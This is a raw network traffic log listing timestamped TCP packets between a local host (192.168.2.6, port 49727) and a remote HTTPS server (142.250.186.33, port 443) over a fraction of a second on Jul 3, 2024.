Jul 3, 2024 08:49:50.488033056 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.490474939 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.490530014 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.509401083 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.509459019 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.509480000 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.509511948 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.509529114 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.509566069 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.509572983 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.509618044 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.509722948 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.509772062 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.513217926 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.513269901 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.513389111 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.513432980 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.518733025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.518791914 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.518804073 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.518815041 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.518830061 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.518862009 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.522504091 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.522568941 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.522630930 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.522680998 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.527467966 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.527518034 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.527545929 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.527594090 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.533286095 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.533348083 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.533368111 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.533402920 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.536781073 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.536854982 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.536880016 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.536917925 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.541433096 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.541495085 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.541515112 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.541570902 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.545859098 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.545916080 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.545931101 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.545969963 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.550044060 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.550111055 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.550219059 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.550404072 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.554521084 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.554578066 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.554646015 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.554688931 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.558983088 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.559036016 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.559099913 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.559149981 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.563410044 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.563458920 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.563469887 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.563515902 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.567596912 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.567656040 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.567668915 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.567712069 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.571532011 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.571588993 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.571876049 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.571927071 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.571937084 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.571980953 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.571988106 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.572032928 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.575469017 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.575521946 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.575534105 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.575582981 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.579262972 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.579319000 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.579329967 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.579375982 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.582804918 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.582861900 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.582873106 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.582918882 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.586261988 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.586313963 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.586364985 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.586409092 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.589853048 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.589904070 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.589916945 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.589965105 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.593184948 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.593240023 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.593247890 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.593288898 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.596853971 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.596904039 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.596913099 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.596952915 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.599823952 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.599987030 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.599997044 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.600039005 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.603266001 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.603312969 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.603347063 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.603384972 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.605364084 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.605406046 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.605417013 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.605467081 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.607477903 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.609534025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.609560966 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.609572887 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.609586954 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.609611988 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.609654903 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.609688997 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.611601114 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.611643076 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.611650944 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.611690044 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.613666058 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.613713980 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.613799095 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.613874912 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.615761995 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.615813971 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.615906000 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.615947962 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.617849112 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.617892981 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.617999077 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.618042946 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.620004892 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.620052099 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.620063066 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.620099068 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.622020006 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.622064114 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.622174025 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.622214079 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.624099970 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.624146938 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.624241114 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.624321938 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.626295090 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.626368999 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.626379013 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.626418114 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.628498077 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.628545046 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.628567934 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.628607035 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.630362034 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.630410910 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.630428076 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.630466938 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.632402897 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.632447004 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.632467031 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.632507086 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.634392977 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.634463072 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.635793924 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.635838985 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.636436939 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.636476994 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.636491060 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.636527061 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.639313936 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.639358044 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.639367104 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.639398098 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.641309023 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.641355038 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.641362906 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.641402006 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.643732071 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.643781900 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.643790007 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.643830061 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.644351006 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.644392014 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.644398928 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.644490004 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.647619009 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.647669077 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.647676945 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.647712946 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.648572922 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.648616076 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.648623943 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.648663044 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.650088072 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.650131941 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.650141954 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.650178909 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.652476072 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.652522087 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.652529955 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.652571917 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.653939962 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.653985977 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.653992891 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.654022932 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.656013012 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.656070948 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.656080961 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.656120062 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.656126976 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.656166077 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.657733917 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.657777071 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.657783985 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.657819986 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.659570932 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.659610033 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.659621000 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.659667969 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.661662102 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.661710024 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.661720037 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.661757946 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.663682938 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.663736105 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.663746119 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.663788080 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.665554047 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.665604115 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.665612936 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.665651083 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.666815996 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.666862011 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.666871071 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.666908979 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.668914080 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.668972015 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.668992043 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.669034004 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.670380116 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.670424938 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.670438051 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.670475960 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.672422886 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.672493935 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.672504902 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.672538042 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.675997972 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.676049948 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.676062107 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.676096916 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.676106930 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.676136017 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.676142931 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.676172972 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.677598000 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.677640915 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.677649021 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.677685022 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.680588007 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.680628061 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.680635929 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.680684090 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.680785894 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.680814981 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.680820942 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.680850029 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.682739019 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.682777882 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.682785034 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.682816982 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.684204102 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.684242964 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.684250116 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.684283972 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.686072111 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.686110973 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.686121941 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.686155081 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.687408924 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.687458992 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.687465906 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.687495947 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.689363003 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.689400911 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.689409971 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.689443111 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.690819979 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.690871954 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.690880060 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.690910101 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.692349911 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.692390919 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.692400932 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.692440033 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.695241928 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.695283890 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.695291996 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.695322037 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.695327997 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.695358038 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.695621967 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.695660114 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.696805954 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.696846962 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.696855068 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.696883917 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.696891069 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.696922064 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.698107958 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.698157072 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.698165894 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.698195934 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.699982882 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.700025082 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.700035095 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.700062037 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.702107906 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.702150106 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.702158928 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.702191114 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.704121113 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.704173088 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.704190969 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.704221964 CEST	49727	443	192.168.2.6	142.250.186.33
Jul 3, 2024 08:49:50.704727888 CEST	443	49727	142.250.186.33	192.168.2.6
Jul 3, 2024 08:49:50.704765081 CEST	49727	443	192.168.2.6	142.250.186.33
